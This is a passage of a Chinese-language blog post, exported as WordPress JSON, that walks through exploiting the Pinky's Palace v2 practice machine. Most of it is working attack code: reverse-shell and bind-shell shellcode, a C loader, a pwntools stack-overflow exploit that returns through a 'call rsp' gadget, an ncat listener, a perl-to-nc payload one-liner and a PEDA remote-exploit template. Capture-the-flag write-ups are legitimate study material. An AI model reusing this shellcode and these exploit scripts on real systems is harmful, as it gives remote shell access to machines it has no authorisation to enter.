&lt;_start&gt;:\n  400080:   48 31 c0                xor    rax,rax\n  400083:   48 31 ff                xor    rdi,rdi\n  400086:   48 31 f6                xor    rsi,rsi\n  400089:   48 31 d2                xor    rdx,rdx\n  40008c:   4d 31 c0                xor    r8,r8\n  40008f:   6a 02                   push   0x2\n  400091:   5f                      pop    rdi\n  400092:   6a 01                   push   0x1\n  400094:   5e                      pop    rsi\n  400095:   6a 06                   push   0x6\n  400097:   5a                      pop    rdx\n  400098:   6a 29                   push   0x29\n  40009a:   58                      pop    rax\n  40009b:   0f 05                   syscall \n  40009d:   49 89 c0                mov    r8,rax\n  4000a0:   48 31 f6                xor    rsi,rsi\n  4000a3:   4d 31 d2                xor    r10,r10\n  4000a6:   41 52                   push   r10\n  4000a8:   c6 04 24 02             mov    BYTE PTR [rsp],0x2\n  4000ac:   66 c7 44 24 02 7a 69    mov    WORD PTR [rsp+0x2],0x697a\n  4000b3:   c7 44 24 04 0a 33 35    mov    DWORD PTR [rsp+0x4],0x435330a\n  4000ba:   04 \n  4000bb:   48 89 e6                mov    rsi,rsp\n  4000be:   6a 10                   push   0x10\n  4000c0:   5a                      pop    rdx\n  4000c1:   41 50                   push   r8\n  4000c3:   5f                      pop    rdi\n  4000c4:   6a 2a                   push   0x2a\n  4000c6:   58                      pop    rax\n  4000c7:   0f 05                   syscall \n  4000c9:   48 31 f6                xor    rsi,rsi\n  4000cc:   6a 03                   push   0x3\n  4000ce:   5e                      pop    rsi\n00000000004000cf &lt;doop&gt;:\n  4000cf:   48 ff ce                dec    rsi\n  4000d2:   6a 21                   push   0x21\n  4000d4:   58                      pop    rax\n  4000d5:   0f 05                   syscall \n  4000d7:   75 f6                   jne    4000cf &lt;doop&gt;\n  4000d9:   48 31 ff                xor    rdi,rdi\n  4000dc:   57                      push   rdi\n  4000dd:   57                      push   rdi\n  4000de:   5e                      pop    rsi\n  4000df:   5a                      pop    rdx\n  4000e0:   48 bf 2f 2f 62 69 6e    movabs rdi,0x68732f6e69622f2f\n  4000e7:   2f 73 68 \n  4000ea:   48 c1 ef 08             shr    rdi,0x8\n  4000ee:   57                      push   rdi\n  4000ef:   54                      push   rsp\n  4000f0:   5f                      pop    rdi\n  4000f1:   6a 3b                   push   0x3b\n  4000f3:   58                      pop    rax\n  4000f4:   0f 05                   syscall \n\n  Code not is not optimal, this is left as an exercise to the reader ;^)\n\n*\/\n\n#include &lt;stdio.h&gt;\n\n#define IPADDR &quot;\\xc0\\x80\\x10\\x0a&quot; \/* 192.168.1.10 *\/\n#define PORT &quot;\\x7a\\x69&quot; \/* 31337 *\/\n\nunsigned char code[] = \\\n&quot;\\x48\\x31\\xc0\\x48\\x31\\xff\\x48\\x31\\xf6\\x48\\x31\\xd2\\x4d\\x31\\xc0\\x6a&quot;\n&quot;\\x02\\x5f\\x6a\\x01\\x5e\\x6a\\x06\\x5a\\x6a\\x29\\x58\\x0f\\x05\\x49\\x89\\xc0&quot;\n&quot;\\x48\\x31\\xf6\\x4d\\x31\\xd2\\x41\\x52\\xc6\\x04\\x24\\x02\\x66\\xc7\\x44\\x24&quot;\n&quot;\\x02&quot;PORT&quot;\\xc7\\x44\\x24\\x04&quot;IPADDR&quot;\\x48\\x89\\xe6\\x6a\\x10&quot;\n&quot;\\x5a\\x41\\x50\\x5f\\x6a\\x2a\\x58\\x0f\\x05\\x48\\x31\\xf6\\x6a\\x03\\x5e\\x48&quot;\n&quot;\\xff\\xce\\x6a\\x21\\x58\\x0f\\x05\\x75\\xf6\\x48\\x31\\xff\\x57\\x57\\x5e\\x5a&quot;\n&quot;\\x48\\xbf\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xef\\x08\\x57\\x54&quot;\n&quot;\\x5f\\x6a\\x3b\\x58\\x0f\\x05&quot;;\n\nint\nmain(void)\n{\n    printf(&quot;Shellcode Length: %d\\n&quot;, (int)sizeof(code)-1);\n    int (*ret)() = (int(*)())code;\n    ret();\n    return 0;\n}<\/code><\/pre>\n<p>\u56e0\u4e3a\u6211\u4eec\u7684<code>shellcode<\/code>\u8981\u8fd4\u56de\u5230\u6808\u9876\u624d\u80fd\u4f7f\u7528\uff0c\u6240\u4ee5\u5c1d\u8bd5\u4f7f\u7528<code>ropper<\/code>\u641c\u7d22<code>RSP<\/code>\u6808\u9876\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp]\n\u2514\u2500$ ropper -f panel -j rsp\nJMP Instructions\n================\n0x0000000000400cfb: call rsp; \n1 gadgets found<\/code><\/pre>\n<p>\u7f16\u5199<code>python expilot<\/code>\uff1a\uff08\u76f4\u63a5\u7528\u5e08\u5085\u7684\u4e86\uff09<\/p>\n<pre><code class=\"language-python\">#!\/usr\/bin\/env python3\nfrom pwn import *\n\nHOST = &#039;pinkydb&#039;\nRPORT = 31337\n\nLPORT = 8888\nLHOST = &#039;192.168.244.128&#039;\n\n# Shellcode from: [http:\/\/shell-storm.org\/shellcode\/files\/shellcode-857.php]\n# Converted from C to Python\nIPADDR = socket.inet_aton(LHOST)\nPORT = p16(LPORT, endian=&#039;big&#039;)\nSHELLCODE = b&#039;&#039;.join([\n    b&quot;\\x48\\x31\\xc0\\x48\\x31\\xff\\x48\\x31\\xf6\\x48\\x31\\xd2\\x4d\\x31\\xc0\\x6a&quot;\n    b&quot;\\x02\\x5f\\x6a\\x01\\x5e\\x6a\\x06\\x5a\\x6a\\x29\\x58\\x0f\\x05\\x49\\x89\\xc0&quot;\n    b&quot;\\x48\\x31\\xf6\\x4d\\x31\\xd2\\x41\\x52\\xc6\\x04\\x24\\x02\\x66\\xc7\\x44\\x24&quot;\n    b&quot;\\x02&quot;,\n    PORT,\n    b&quot;\\xc7\\x44\\x24\\x04&quot;,\n    IPADDR,\n    b&quot;\\x48\\x89\\xe6\\x6a\\x10&quot;\n    b&quot;\\x5a\\x41\\x50\\x5f\\x6a\\x2a\\x58\\x0f\\x05\\x48\\x31\\xf6\\x6a\\x03\\x5e\\x48&quot;\n    b&quot;\\xff\\xce\\x6a\\x21\\x58\\x0f\\x05\\x75\\xf6\\x48\\x31\\xff\\x57\\x57\\x5e\\x5a&quot;\n    b&quot;\\x48\\xbf\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xef\\x08\\x57\\x54&quot;\n    b&quot;\\x5f\\x6a\\x3b\\x58\\x0f\\x05&quot;\n])\n\n# Create our filler\npwncode = cyclic(length=0x400,n=8)\nJUNK_LEN = cyclic_find(&#039;paaaaaaa&#039;,n=8)\nprint(JUNK_LEN)\nJUNK = b&#039;X&#039; * (JUNK_LEN - len(SHELLCODE))\n\nRET = p64(0x0400cfb)\n# Putting it all together\npayload = b&#039;&#039;.join([\n    SHELLCODE,\n    JUNK,\n    RET\n])\n\n# And do the thang\np = remote(HOST,RPORT)\np.recvuntil(b&#039;=&gt; &#039;)\np.sendline(payload)<\/code><\/pre>\n<pre><code class=\"language-bash\"># kali\nncat -nlkvp 8888<\/code><\/pre>\n<p><code>ncat<\/code>: \u8fd9\u662f\u4e00\u4e2a\u7f51\u7edc\u5de5\u5177\uff0c\u662f <code>netcat<\/code> \u7684\u6539\u8fdb\u7248\uff0c\u7528\u4e8e\u5728\u7f51\u7edc\u4e0a\u4f20\u8f93\u6570\u636e\u3002<\/p>\n<pre><code>-nlkvp\n-n:\u8868\u793a\u4e0d\u8981\u8fdb\u884c DNS \u89e3\u6790\uff0c\u4f7f\u7528 IP \u5730\u5740\u800c\u4e0d\u662f\u4e3b\u673a\u540d\u3002\n-l:\u8868\u793a\u76d1\u542c\u6a21\u5f0f\uff0c\u5373\u76d1\u542c\u6307\u5b9a\u7684\u7aef\u53e3\u3002\n-k:\u8868\u793a\u4fdd\u6301\u957f\u8fde\u63a5\uff0c\u5373\u5728\u5ba2\u6237\u7aef\u65ad\u5f00\u8fde\u63a5\u540e\u7ee7\u7eed\u76d1\u542c\u800c\u4e0d\u9000\u51fa\u3002\n-v:\u8868\u793a\u8be6\u7ec6\u8f93\u51fa\uff0c\u663e\u793a\u66f4\u591a\u8c03\u8bd5\u4fe1\u606f\u3002\n-p 8888:\u8868\u793a\u6307\u5b9a\u76d1\u542c\u7684\u7aef\u53e3\u53f7\u4e3a 8888\u3002<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747042.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747042.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240227174439467\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u989d\u5916\u6536\u83b7<\/h2>\n<p>\u770b\u56fd\u5916\u5e08\u5085\u4f7f\u7528<code>gdb-peda<\/code>\u751f\u6210\u4e86shellcode\uff0c\u5728\u6b64\u8bb0\u5f55\u4e00\u4e0b\uff0c\u4e5f\u7b97\u662f\u4e00\u79cd\u5b66\u4e60\u4e86\uff1a<\/p>\n<pre><code class=\"language-bash\">shellcode generate x86\/linux bindport 8888 192.168.244.128<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747043.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747043.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240227155203890\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<p><code>payload<\/code>\u53ea\u670984<code>bytes<\/code>\uff0c\u6240\u4ee5\u6211\u4eec\u5982\u679c\u8981\u5229\u7528\u8fd8\u8981\u8fdb\u884c\u6dfb\u52a0\uff1a<\/p>\n<pre><code class=\"language-bash\">perl -e &#039;print &quot;\\x90&quot;x36 . &quot;\\x31\\xdb\\x53\\x43\\x53\\x6a\\x02\\x6a\\x66\\x58\\x99\\x89\\xe1\\xcd\\x80\\x96&quot;\n    &quot;\\x43\\x52\\x66\\x68\\x22\\xb8\\x66\\x53\\x89\\xe1\\x6a\\x66\\x58\\x50\\x51\\x56&quot;\n    &quot;\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xd1\\xe3\\xcd\\x80\\x52\\x52\\x56\\x43\\x89\\xe1&quot;\n    &quot;\\xb0\\x66\\xcd\\x80\\x93\\x6a\\x02\\x59\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\xb0&quot;\n    &quot;\\x0b\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\x53&quot;\n    &quot;\\x89\\xe1\\xcd\\x80&quot;. &quot;\\xfb\\x0c\\x40\\x00\\x00\\x00&quot;&#039; | nc 192.168.244.131 31337<\/code><\/pre>\n<p>\u751a\u81f3\u8fd8\u53ef\u4ee5\u751f\u6210\u76f8\u5173payload\uff1a<\/p>\n<pre><code class=\"language-bash\">skeleton remote<\/code><\/pre>\n<pre><code class=\"language-python\">#!\/usr\/bin\/env python\n#\n# Template for remote TCP exploit code, generated by PEDA\n#\nimport os\nimport sys\nimport struct\nimport resource\nimport time\n\ndef usage():\n    print &quot;Usage: %s host port&quot; % sys.argv[0]\n    return\n\ndef pattern(size=1024, start=0):\n    try:\n        bytes = open(&quot;pattern.txt&quot;).read(size+start)\n        return bytes[start:]\n    except:\n        return &quot;A&quot;*size\n\ndef nops(size=1024):\n    return &quot;\\x90&quot;*size\n\ndef int2hexstr(num, intsize=4):\n    if intsize == 8:\n        if num &lt; 0:\n            result = struct.pack(&quot;&lt;q&quot;, num)\n        else:\n            result = struct.pack(&quot;&lt;Q&quot;, num)\n    else:\n        if num &lt; 0:\n            result = struct.pack(&quot;&lt;l&quot;, num)\n        else:\n            result = struct.pack(&quot;&lt;L&quot;, num)\n    return result\n\ni2hs = int2hexstr\n\ndef list2hexstr(intlist, intsize=4):\n    result = &quot;&quot;\n    for value in intlist:\n        if isinstance(value, str):\n            result += value\n        else:\n            result += int2hexstr(value, intsize)\n    return result\n\nl2hs = list2hexstr\n\nfrom socket import *\nimport telnetlib\nclass TCPClient():\n    def __init__(self, host, port, debug=0):\n        self.debug = debug\n        self.sock = socket(AF_INET, SOCK_STREAM)\n        self.sock.connect((host, port))\n\n    def debug_log(self, size, data, cmd):\n        if self.debug != 0:\n            print &quot;%s(%d): %s&quot; % (cmd, size, repr(data))\n\n    def send(self, data, delay=0):\n        if delay:\n            time.sleep(delay)\n        nsend = self.sock.send(data)\n        if self.debug &gt; 1:\n            self.debug_log(nsend, data, &quot;send&quot;)\n        return nsend\n\n    def sendline(self, data, delay=0):\n        nsend = self.send(data + &quot;\\n&quot;, delay)\n        return nsend\n\n    def recv(self, size=1024, delay=0):\n        if delay:\n            time.sleep(delay)\n        buf = self.sock.recv(size)\n        if self.debug &gt; 0:\n            self.debug_log(len(buf), buf, &quot;recv&quot;)\n        return buf\n\n    def recv_until(self, delim):\n        buf = &quot;&quot;\n        while True:\n            c = self.sock.recv(1)\n            buf += c\n            if delim in buf:\n                break\n        self.debug_log(len(buf), buf, &quot;recv&quot;)\n        return buf\n\n    def recvline(self):\n        buf = self.recv_until(&quot;\\n&quot;)\n        return buf\n\n    def close(self):\n        self.sock.close()\n\ndef exploit(host, port):\n    port = int(port)\n    client = TCPClient(host, port, debug=1)\n    padding = pattern(0)\n    payload = [padding]\n    payload += [&quot;PAYLOAD&quot;] # put your payload here\n    payload = list2hexstr(payload)\n    raw_input(&quot;Enter to continue&quot;)\n    client.send(payload)\n    try:\n        t = telnetlib.Telnet()\n        t.sock = client.sock\n        t.interact()\n        t.close()\n    except KeyboardInterrupt:\n        pass\n\nif __name__ == &quot;__main__&quot;:\n    if len(sys.argv) &lt; 3:\n        usage()\n    else:\n        exploit(sys.argv[1], sys.argv[2])<\/code><\/pre>\n<h2>\u53c2\u8003blog<\/h2>\n<p><a href=\"https:\/\/www.c0dedead.io\/pinkys-palace-v2-walkthrough\/\">https:\/\/www.c0dedead.io\/pinkys-palace-v2-walkthrough\/<\/a><\/p>\n<p><a href=\"https:\/\/xz.aliyun.com\/t\/13210?time__1311=mqmxnDBD9AYDqBKDstoYKAq%3DDu7aDcD2EoD\">https:\/\/xz.aliyun.com\/t\/13210?time__1311=mqmxnDBD9AYDqBKDstoYKAq%3DDu7aDcD2EoD<\/a><\/p>\n<p><a href=\"https:\/\/blog.csdn.net\/qq_34801745\/article\/details\/104070421\">https:\/\/blog.csdn.net\/qq_34801745\/article\/details\/104070421<\/a><\/p>\n<p><a href=\"https:\/\/blog.csdn.net\/ericalezl\/article\/details\/131987702\">https:\/\/blog.csdn.net\/ericalezl\/article\/details\/131987702<\/a><\/p>\n<p><a href=\"https:\/\/salmonsec.com\/blog\/2021\/march\/pinkys_palace_2\">https:\/\/salmonsec.com\/blog\/2021\/march\/pinkys_palace_2<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>PINKY&#8217;S PALACE: V2 \u6253\u5f00\u9776\u573a\u770b\u4e00\u4e0b\uff0c\u624b\u8d31\uff0c\u628a\u786c\u76d8\u5220\u6389\u4e86\u518d\u5220\u9664\u4e86\u3002\u3002\u3002\u3002 \u6b64\u65f6\u66f4\u65b0\u865a\u62df\u673a\u4e3a16 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,19],"tags":[],"class_list":["post-384","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-pwn"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/384","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=384"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/384\/revisions"}],"predecessor-version":[{"id":385,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/384\/revisions\/385"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=384"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=384"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=384"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}